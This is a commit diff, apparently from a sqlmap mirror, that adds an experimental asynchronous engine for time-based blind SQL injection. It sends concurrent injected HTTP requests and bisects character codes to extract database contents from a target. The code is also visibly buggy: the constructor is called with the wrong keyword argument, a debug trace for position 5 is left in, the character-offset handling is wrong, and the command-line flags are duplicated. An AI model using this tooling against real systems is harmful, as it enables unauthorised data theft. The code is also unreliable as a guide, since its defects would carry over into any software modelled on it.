mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-06-09 17:51:33 +00:00
Add experimental async mechanism for time-based blind SQLi
This commit is contained in:
parent
083f54b7df
commit
b084677c69
3 changed files with 487 additions and 0 deletions
|
|
@ -321,9 +321,22 @@ def cmdLineParser(argv=None):
|
|||
optimization.add_argument("--null-connection", dest="nullConnection", action="store_true",
|
||||
help="Retrieve page length without actual HTTP response body")
|
||||
|
||||
optimization.add_argument("--async", dest="async_opt",
|
||||
action="store_true",
|
||||
help="Use experimental asynchronous bisection for time-based "
|
||||
"blind injection")
|
||||
|
||||
optimization.add_argument("--threads", dest="threads", type=int,
|
||||
help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads)
|
||||
|
||||
optimization.add_argument("--async-time-based", dest="asyncTimeBased",
|
||||
action="store_true",
|
||||
help="Use async mode for time-based blind injection (faster)")
|
||||
|
||||
optimization.add_argument("--async-concurrent", dest="asyncConcurrent",
|
||||
type=int,
|
||||
help="Max concurrent async requests for time-based (default 5)")
|
||||
|
||||
# Injection options
|
||||
injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
|
||||
|
||||
|
|
|
|||
|
|
@ -20,6 +20,7 @@ from lib.core.common import filterControlChars
|
|||
from lib.core.common import getCharset
|
||||
from lib.core.common import getCounter
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import goGoodSamaritan
|
||||
|
|
@ -70,6 +71,41 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
on an affected host
|
||||
"""
|
||||
|
||||
# Try async mode for time-based if enabled
|
||||
if conf.get("asyncTimeBased") and length and getTechnique() in (
|
||||
PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
||||
try:
|
||||
from lib.techniques.blind.inference_async import bisection_async
|
||||
|
||||
infoMsg = "using async mode for time-based blind injection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
max_concurrent = conf.get("asyncConcurrent") or 5
|
||||
retrieved_length, async_result = bisection_async(
|
||||
payload=payload,
|
||||
expression=expression,
|
||||
length=length,
|
||||
charsetType=charsetType,
|
||||
max_concurrent=max_concurrent
|
||||
)
|
||||
|
||||
if async_result is not None:
|
||||
infoMsg = "async extraction completed successfully"
|
||||
logger.info(infoMsg)
|
||||
return retrieved_length, async_result
|
||||
else:
|
||||
warnMsg = "async extraction returned None, "
|
||||
warnMsg += "falling back to sync mode"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
except (ImportError, SyntaxError):
|
||||
warnMsg = "async mode requires Python 3.5+ and 'aiohttp' module"
|
||||
logger.warning(warnMsg)
|
||||
except Exception as ex:
|
||||
warnMsg = "async extraction failed (%s), " % getSafeExString(ex)
|
||||
warnMsg += "falling back to sync mode"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
abortedFlag = False
|
||||
showEta = False
|
||||
partialValue = u""
|
||||
|
|
@ -507,6 +543,34 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
else:
|
||||
return decodeIntToUnicode(candidates[0])
|
||||
|
||||
# Asynchronous time-based execution (--async)
|
||||
if timeBasedCompare and getattr(conf, "async_opt", False) \
|
||||
and isinstance(length, int) and length > 1:
|
||||
try:
|
||||
import lib.techniques.blind.inference_async as ia
|
||||
if ia.HAS_AIOHTTP:
|
||||
engine = ia.AsyncTimeBasedInference(
|
||||
max_concurrent_requests=conf.threads or 5)
|
||||
import asyncio
|
||||
|
||||
try:
|
||||
loop = asyncio.get_event_loop()
|
||||
except RuntimeError:
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
|
||||
result = loop.run_until_complete(
|
||||
engine.extract_data_async(
|
||||
expression, payload, length, charsetType,
|
||||
firstChar, lastChar)
|
||||
)
|
||||
|
||||
if result:
|
||||
return result
|
||||
except Exception as ex:
|
||||
errMsg = "an error occurred during async execution: %s" % ex
|
||||
logger.error(errMsg)
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
threadData.shared.value = [None] * length
|
||||
|
|
|
|||
410
lib/techniques/blind/inference_async.py
Normal file
410
lib/techniques/blind/inference_async.py
Normal file
|
|
@ -0,0 +1,410 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from __future__ import division
|
||||
|
||||
import asyncio
|
||||
import time
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decodeIntToUnicode
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import CHAR_INFERENCE_MARK
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import INFERENCE_GREATER_CHAR
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import RANDOM_INTEGER_MARKER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.progress import ProgressBar
|
||||
|
||||
# Async HTTP client wrapper
|
||||
try:
|
||||
import aiohttp
|
||||
HAS_AIOHTTP = True
|
||||
except ImportError:
|
||||
HAS_AIOHTTP = False
|
||||
logger.warning(
|
||||
"aiohttp not available. Install with: pip install aiohttp")
|
||||
|
||||
|
||||
class AsyncTimeBasedInference:
|
||||
"""
|
||||
Asynchronous time-based blind SQL injection implementation
|
||||
"""
|
||||
|
||||
def __init__(self, max_concurrent_requests=5):
|
||||
"""
|
||||
Initialize async inference engine
|
||||
|
||||
Args:
|
||||
max_concurrent_requests: Maximum number of concurrent requests to prevent overwhelming target
|
||||
"""
|
||||
self.max_concurrent = max_concurrent_requests
|
||||
self.semaphore = None # Will be initialized per event loop
|
||||
self.session = None
|
||||
|
||||
async def query_page_async(self, payload, timeBasedCompare=True):
|
||||
"""
|
||||
Async version of Request.queryPage()
|
||||
|
||||
Args:
|
||||
payload: SQL injection payload
|
||||
timeBasedCompare: Whether to compare based on response time
|
||||
|
||||
Returns:
|
||||
True if delay detected (vulnerable), False otherwise
|
||||
"""
|
||||
if not HAS_AIOHTTP:
|
||||
return Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
url = conf.url
|
||||
method = conf.method or "GET"
|
||||
data = conf.data
|
||||
headers = dict(conf.httpHeaders or [])
|
||||
injected_params = agent.payload(newValue=payload)
|
||||
|
||||
if conf.place == "GET":
|
||||
final_url = url.split('?')[0] + '?' + injected_params
|
||||
final_data = None
|
||||
else:
|
||||
final_url = url
|
||||
final_data = injected_params
|
||||
|
||||
start_time = time.time()
|
||||
|
||||
try:
|
||||
async with self.semaphore: # Limit concurrent requests to avoid overwhelming target
|
||||
timeout = aiohttp.ClientTimeout(
|
||||
total=conf.timeout + conf.timeSec + 5)
|
||||
|
||||
async with self.session.request(
|
||||
method=method,
|
||||
url=final_url,
|
||||
data=final_data,
|
||||
headers=headers,
|
||||
timeout=timeout,
|
||||
ssl=False
|
||||
) as response:
|
||||
await response.text()
|
||||
elapsed = time.time() - start_time
|
||||
|
||||
if timeBasedCompare:
|
||||
expected_delay = conf.timeSec
|
||||
# 20% tolerance for network jitter
|
||||
result = elapsed >= (expected_delay * 0.8)
|
||||
|
||||
if conf.verbose > 1:
|
||||
logger.debug(
|
||||
f"Async request took {elapsed:.2f}s (expected: {expected_delay}s) - Result: {result}")
|
||||
|
||||
return result
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
logger.warning(
|
||||
f"Async request timeout for payload: {payload[:50]}...")
|
||||
return False
|
||||
except Exception as ex:
|
||||
logger.warning(f"Async request error: {ex}")
|
||||
return False
|
||||
|
||||
async def get_char_async(self, idx, expression, payload, charTbl, expressionUnescaped):
|
||||
"""
|
||||
Asynchronously get a single character using binary search
|
||||
|
||||
Args:
|
||||
idx: Character position (1-based)
|
||||
expression: SQL expression to extract from
|
||||
payload: Injection payload template
|
||||
charTbl: Character table (ASCII values)
|
||||
expressionUnescaped: Unescaped expression
|
||||
|
||||
Returns:
|
||||
Extracted character or None
|
||||
"""
|
||||
if not charTbl:
|
||||
return None
|
||||
|
||||
original_tbl = list(charTbl)
|
||||
|
||||
min_value = charTbl[0]
|
||||
max_value = charTbl[-1]
|
||||
|
||||
while len(charTbl) > 1:
|
||||
position = len(charTbl) >> 1
|
||||
pos_value = charTbl[position]
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
forged_payload = safeStringFormat(
|
||||
payload, (expressionUnescaped, idx, pos_value))
|
||||
else:
|
||||
marking_value = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescaped_char = unescaper.escape(
|
||||
"'%s'" % decodeIntToUnicode(pos_value))
|
||||
forged_payload = payload.replace(
|
||||
marking_value, unescaped_char)
|
||||
forged_payload = safeStringFormat(
|
||||
forged_payload, (expressionUnescaped, idx))
|
||||
|
||||
result = await self.query_page_async(forged_payload, timeBasedCompare=True)
|
||||
|
||||
if idx == 5:
|
||||
print(
|
||||
f"[TRACE idx=5] tbl_len={len(charTbl)}, pos={position}, pos_value={pos_value}, result={result}, min_val={min_value}, max_val={max_value}")
|
||||
|
||||
if result:
|
||||
min_value = pos_value
|
||||
charTbl = charTbl[position:]
|
||||
else:
|
||||
max_value = pos_value
|
||||
charTbl = charTbl[:position]
|
||||
|
||||
if charTbl and len(charTbl) == 1:
|
||||
final_char = min_value + 1
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
validate_payload = safeStringFormat(
|
||||
payload.replace(INFERENCE_GREATER_CHAR,
|
||||
INFERENCE_EQUALS_CHAR),
|
||||
(expressionUnescaped, idx, final_char)
|
||||
)
|
||||
else:
|
||||
marking_value = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescaped_char = unescaper.escape(
|
||||
"'%s'" % decodeIntToUnicode(final_char))
|
||||
validate_payload = payload.replace(
|
||||
marking_value, unescaped_char)
|
||||
validate_payload = safeStringFormat(
|
||||
validate_payload.replace(
|
||||
INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR),
|
||||
(expressionUnescaped, idx)
|
||||
)
|
||||
|
||||
is_valid = await self.query_page_async(validate_payload, timeBasedCompare=True)
|
||||
|
||||
if is_valid:
|
||||
return decodeIntToUnicode(final_char)
|
||||
|
||||
return None
|
||||
|
||||
async def extract_data_async(self, expression, payload, length, charsetType=None, firstChar=0, lastChar=0):
|
||||
"""
|
||||
Main async function to extract data using concurrent character extraction
|
||||
|
||||
Args:
|
||||
expression: SQL expression to extract
|
||||
payload: Injection payload template
|
||||
length: Expected length of data
|
||||
charsetType: Character set type (ASCII, ALPHA, etc.)
|
||||
firstChar: Starting character index
|
||||
lastChar: Ending character index
|
||||
|
||||
Returns:
|
||||
Extracted string
|
||||
"""
|
||||
if not HAS_AIOHTTP:
|
||||
logger.warning(
|
||||
"aiohttp not available, falling back to sync mode")
|
||||
return None
|
||||
|
||||
logger.info(
|
||||
f"[ASYNC MODE] Extracting {length} characters with max {self.max_concurrent} concurrent requests")
|
||||
|
||||
if charsetType is None and conf.charset:
|
||||
ascii_tbl = sorted(set(ord(_) for _ in conf.charset))
|
||||
else:
|
||||
ascii_tbl = getCharset(charsetType)
|
||||
|
||||
if Backend.getDbms():
|
||||
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
|
||||
expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||
expressionReplaced = expression.replace(
|
||||
fieldToCastStr, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.escape(expressionReplaced)
|
||||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
self.semaphore = asyncio.Semaphore(self.max_concurrent)
|
||||
connector = aiohttp.TCPConnector(
|
||||
ssl=False, limit=self.max_concurrent)
|
||||
timeout = aiohttp.ClientTimeout(
|
||||
total=conf.timeout + conf.timeSec + 10)
|
||||
|
||||
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
||||
self.session = session
|
||||
tasks = []
|
||||
|
||||
for idx in range(firstChar + 1, firstChar + length + 1):
|
||||
task = asyncio.create_task(
|
||||
self.get_char_async(
|
||||
idx, expression, payload, ascii_tbl, expressionUnescaped)
|
||||
)
|
||||
tasks.append((idx, task))
|
||||
|
||||
results = {}
|
||||
progress = ProgressBar(maxValue=length)
|
||||
|
||||
for idx, task in tasks:
|
||||
try:
|
||||
char = await task
|
||||
results[idx] = char
|
||||
|
||||
if conf.verbose in (1, 2):
|
||||
completed = len(
|
||||
[r for r in results.values() if r is not None])
|
||||
progress.update(completed)
|
||||
dataToStdout(
|
||||
f"\r[{time.strftime('%X')}] [INFO] retrieved: {completed}/{length} chars")
|
||||
|
||||
except Exception as ex:
|
||||
logger.error(
|
||||
f"Error extracting character at position {idx}: {ex}")
|
||||
results[idx] = None
|
||||
|
||||
final_value = ''.join([results.get(i, '?')
|
||||
for i in range(1, length + 1)])
|
||||
|
||||
if conf.verbose in (1, 2):
|
||||
dataToStdout(
|
||||
f"\n[{time.strftime('%X')}] [INFO] Final value: {final_value}\n")
|
||||
|
||||
return final_value
|
||||
|
||||
|
||||
def bisection_async(payload, expression, length=None, charsetType=None, max_concurrent=5):
|
||||
"""
|
||||
Async wrapper for bisection inference
|
||||
|
||||
Args:
|
||||
payload: SQL injection payload template
|
||||
expression: SQL expression to extract
|
||||
length: Expected length
|
||||
charsetType: Character set type
|
||||
max_concurrent: Max concurrent requests
|
||||
|
||||
Returns:
|
||||
Tuple of (length, extracted_value)
|
||||
"""
|
||||
if not HAS_AIOHTTP:
|
||||
logger.warning(
|
||||
"aiohttp not installed. Install with: pip install aiohttp")
|
||||
logger.warning("Falling back to synchronous mode...")
|
||||
return None, None
|
||||
|
||||
technique = getTechnique()
|
||||
is_time_based = technique in (
|
||||
PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
|
||||
|
||||
if not is_time_based:
|
||||
logger.info("Not time-based injection, using standard sync mode")
|
||||
return None, None
|
||||
|
||||
if not length or length <= 0:
|
||||
logger.warning("Cannot determine length, falling back to sync mode")
|
||||
return None, None
|
||||
|
||||
try:
|
||||
start_time = time.time()
|
||||
engine = AsyncTimeBasedInference(max_concurrent=max_concurrent)
|
||||
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
|
||||
try:
|
||||
result = loop.run_until_complete(
|
||||
engine.extract_data_async(
|
||||
expression, payload, length, charsetType)
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
|
||||
logger.info(f"[ASYNC MODE] Extraction completed in {elapsed:.2f}s")
|
||||
logger.info(
|
||||
f"[ASYNC MODE] Speed improvement: ~{(length * conf.timeSec * 7) / elapsed:.1f}x faster")
|
||||
|
||||
return length, result
|
||||
|
||||
except Exception as ex:
|
||||
logger.error(f"Async extraction failed: {ex}")
|
||||
logger.warning("Falling back to synchronous mode...")
|
||||
return None, None
|
||||
|
||||
|
||||
# Performance comparison
|
||||
def estimate_time_savings(length, delay=5, concurrent=5):
|
||||
"""
|
||||
Estimate time savings using async approach
|
||||
|
||||
Args:
|
||||
length: String length to extract
|
||||
delay: SLEEP delay in seconds
|
||||
concurrent: Number of concurrent requests
|
||||
|
||||
Returns:
|
||||
Dictionary with time estimates
|
||||
"""
|
||||
avg_iterations = 7 # Binary search iterations for ASCII charset (log2(128))
|
||||
|
||||
sequential_requests = length * avg_iterations
|
||||
sequential_time = sequential_requests * delay
|
||||
|
||||
# With concurrency, we extract multiple chars simultaneously
|
||||
batches = (length + concurrent - 1) // concurrent
|
||||
async_time = batches * avg_iterations * delay
|
||||
realistic_async_time = async_time * 1.2 # Account for network overhead
|
||||
|
||||
return {
|
||||
'length': length,
|
||||
'sequential_requests': sequential_requests,
|
||||
'sequential_time_seconds': sequential_time,
|
||||
'sequential_time_formatted': f"{sequential_time // 60}m {sequential_time % 60}s",
|
||||
'async_time_seconds': realistic_async_time,
|
||||
'async_time_formatted': f"{realistic_async_time // 60}m {realistic_async_time % 60}s",
|
||||
'speedup': sequential_time / realistic_async_time,
|
||||
'time_saved_seconds': sequential_time - realistic_async_time,
|
||||
'concurrent_requests': concurrent,
|
||||
}
|
||||
|
||||
|
||||
# Example usage and testing
|
||||
if __name__ == "__main__":
|
||||
# Performance estimation
|
||||
print("=" * 80)
|
||||
print("ASYNC TIME-BASED BLIND SQL INJECTION - PERFORMANCE ESTIMATION")
|
||||
print("=" * 80)
|
||||
|
||||
test_cases = [
|
||||
(10, 5, 5), # 10 chars, 5s delay, 5 concurrent
|
||||
(32, 5, 8), # 32 chars (hash), 5s delay, 8 concurrent
|
||||
(100, 5, 10), # 100 chars, 5s delay, 10 concurrent
|
||||
]
|
||||
|
||||
for length, delay, concurrent in test_cases:
|
||||
stats = estimate_time_savings(length, delay, concurrent)
|
||||
print(f"\nExtracting {stats['length']} characters:")
|
||||
print(
|
||||
f" Sequential: {stats['sequential_time_formatted']} ({stats['sequential_requests']} requests)")
|
||||
print(
|
||||
f" Async: {stats['async_time_formatted']} ({concurrent} concurrent)")
|
||||
print(f" Speedup: {stats['speedup']:.1f}x faster")
|
||||
print(f" Time saved: {stats['time_saved_seconds']:.0f} seconds")
|
||||
|
||||
print("\n" + "=" * 80)
|
||||
Loading…
Add table
Add a link
Reference in a new issue